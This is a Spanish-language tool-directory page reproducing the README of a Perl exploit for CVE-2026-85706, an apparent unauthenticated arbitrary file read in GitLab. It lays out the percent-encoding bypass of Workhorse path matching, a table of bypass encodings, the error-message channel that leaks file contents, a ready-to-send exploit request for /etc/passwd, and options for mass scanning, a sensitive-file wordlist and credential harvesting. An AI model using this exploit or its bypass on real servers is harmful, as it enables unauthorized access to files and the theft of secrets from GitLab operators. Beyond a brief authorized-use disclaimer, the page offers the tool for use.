Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-85706 — PoC en Perl que explota CVE-2026-85706, un path traversal no autenticado en GitLab que permite la lectura arbitraria de archivos, con escaneo masivo y recolección de credenciales. | Kitploit
Herramientas/GitHubGitHub/gabrielunknown/cve-2026-85706
Escáneres de VulnerabilidadesAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebExfiltración de DatosRecopilación de InformaciónSeguridad WebPruebas de Penetración
Red Teaming
GitHubgabrielunknown/cve-2026-85706

CVE-2026-85706

PoC en Perl que explota CVE-2026-85706, un path traversal no autenticado en GitLab que permite la lectura arbitraria de archivos, con escaneo masivo y recolección de credenciales.

Ver Repositorio
48hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-85706 — Lectura arbitraria de archivos sin autenticación en GitLab

CVSS GitLab License MITRE

Solo para pruebas de penetración autorizadas y operaciones de Red Team.
El uso no autorizado constituye un delito penal. Consulte el Aviso legal.


Descripción general

CVE-2026-85706 es una vulnerabilidad de salto de ruta (path traversal) con CVSS 10.0 en GitLab Community y Enterprise Editions que permite a un atacante completamente no autenticado leer archivos arbitrarios del sistema de archivos del servidor con una sola solicitud HTTP. No se requieren credenciales, ni token, ni interacción del usuario.

  • Divulgada: 10 de septiembre de 2026
  • Primera explotación observada: 11 de septiembre de 2026 (dentro de las 6 horas posteriores a la divulgación)
  • Añadida a CISA KEV: 11 de septiembre de 2026
  • Corregida en: GitLab 19.1.8 / 19.2.6 / 19.3.2

Versiones afectadas

RamaRango vulnerableCorregida en
18.x18.7 → 19.1.719.1.8
19.219.2.0 → 19.2.519.2.6
19.319.3.0 → 19.3.119.3.2

Análisis técnico

Contexto de la arquitectura

La pila HTTP de GitLab tiene tres capas:

Internet → [Nginx] → [Workhorse (Go)] → [Puma (Ruby/Rack)] → [Rails/Grape API]

Workhorse actúa como un proxy inverso inteligente: para ciertos endpoints de "subida" (commits de repositorio, operaciones de archivos), lee los cuerpos de solicitud multipart, guarda los datos de archivos en disco y reescribe la solicitud antes de reenviarla a Puma. De forma crucial, adjunta un encabezado JWT (Gitlab-Workhorse-Api-Request) a cada solicitud que proxya. Rails luego valida este JWT (mediante require_gitlab_workhorse!) antes de ejecutar cualquier lógica del manejador.

Causa raíz — Desajuste de decodificación de rutas en tres capas

Capa 1 — Coincidencia de rutas de Workhorse:
Workhorse hace coincidir las rutas de solicitud usando una expresión regular compilada que opera sobre la cadena de bytes sin procesar, codificada en porcentaje. NO decodifica las secuencias %XX antes de hacer la coincidencia.

Capa 2 — Enrutamiento de Puma/Rack:
Puma decodifica las secuencias %XX antes de que Grape enrute la solicitud. Por lo tanto, una solicitud a /repository/%63ommits se decodifica a /repository/commits y se enruta a CommitsController.

Capa 3 — Lectura de archivo previa a la autenticación:
Una vez en el manejador de Rails (al que se llega sin el JWT de Workhorse porque Workhorse nunca hizo coincidir la solicitud), el manejador lee params[:file][:path] de la cadena de consulta y llama a:

File.open(params[:file][:path])   # ← happens BEFORE authentication

El truco de omisión

Al codificar en porcentaje un carácter de un segmento de ruta estático, la solicitud del atacante pasa desapercibida ante Workhorse:

SegmentoOriginalForma de omisiónCarácter codificado
commitscommits%63ommitsc → %63
commitscommits%43ommitsC → %43
repositoryrepository%72epositoryr → %72
filesfiles%66ilesf → %66
(cualquiera)commitscommits/barra final
(cualquiera)commitscommits.jsonsufijo de Grape

Mecanismo de exfiltración de contenido

Una vez abierto el archivo, el contenido se exfiltra mediante el analizador de cadenas de consulta de Rack:

Rack::Utils.parse_nested_query(File.read(path))

Si el archivo contiene un % no seguido de dos dígitos hexadecimales válidos (lo cual es común en archivos de configuración de Ruby, YAML de CI, logs, etc.), Rack genera:

InvalidParameterError: Invalid parameter: invalid %-encoding (<FILE_BYTES>)

Este cuerpo de 400 respuestas contiene el contenido sin procesar del archivo hasta el byte infractor incluido, revelando el contenido del archivo al solicitante no autenticado.

Los archivos sin secuencias % explotables (por ejemplo, un /etc/passwd limpio) devuelven un 401 o un error de validación de parámetros después de la lectura: esto actúa como un oráculo de existencia de archivos (la lectura aún se produjo antes de la autenticación).

Estructura de la solicitud de explotación

POST /api/v4/projects/1/repository/%63ommits?file=&file.path=%2Fetc%2Fpasswd&file.size=1&Content-Type=application%2Fx-www-form-urlencoded HTTP/1.1
Host: gitlab.corp.com
User-Agent: cve-2026-85706-perl-poc/1.0.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

Mapeo de MITRE ATT&CK

TécnicaIDImplementación en esta PoC
File and Directory DiscoveryT1083El modo --scan sondea 38 rutas sensibles del servidor
Credentials In FilesT1552.001--harvest extrae claves/tokens/contraseñas del contenido filtrado

Instalación

Requisitos

MóduloPaqueteFunción
LWP::UserAgentlibwww-perlCliente HTTP (obligatorio)
LWP::Protocol::httpslibwww-perlSoporte HTTPS (obligatorio)
URI::Escapeliburi-perlCodificación de cadenas de consulta (obligatorio)
Term::ANSIColorlibterm-ansicolor-perlSalida con colores (opcional)
JSONlibjson-perlModo de salida JSON (opcional)
# Debian/Ubuntu
apt install libwww-perl liburi-perl libterm-ansicolor-perl libjson-perl

# RHEL/Fedora
sudo yum install perl-libwww-perl perl-URI perl-Term-ANSIColor perl-JSON

# CPAN
cpan LWP::UserAgent LWP::Protocol::https Term::ANSIColor JSON

# Make executable
chmod +x exploit.pl

Uso

Usage: exploit.pl [OPTIONS]

Target:
  -u, --url <URL>            GitLab base URL            [default: http://localhost:8080]
  -p, --project-id <ID>      Numeric ID or namespace%2Fproject  [default: 1]
                              Commits API forms: project must be anonymously accessible
                              Files API forms:   any value works (file read precedes auth)

Exploitability check:
  -c, --check                Single-target check (quick by default — ≤9 requests)
      --full                 Upgrade to full 4-stage sweep (27+ probes, all 22 forms)
  -L, --check-host-list <FILE>  Check multiple targets (one URL/host per line)
                             Add --full for the 4-stage sweep on every host

Single-file read:
  -f, --file <PATH>          Absolute server path to read (e.g. /etc/passwd)

Scan mode (T1083 — File and Directory Discovery):
  -s, --scan                 Probe built-in sensitive-file wordlist (38 paths)
  -w, --wordlist <FILE>      Use a custom file list (one absolute path per line)
  -H, --harvest              Extract credentials from leaked content (T1552.001)

Output:
  -o, --output <FILE>        Tee all output to file
  -j, --json                 Emit results as JSON array (requires JSON.pm)
  -v, --verbose              Print full request URL before each probe
      --no-color             Disable ANSI colour output
Descargar herramienta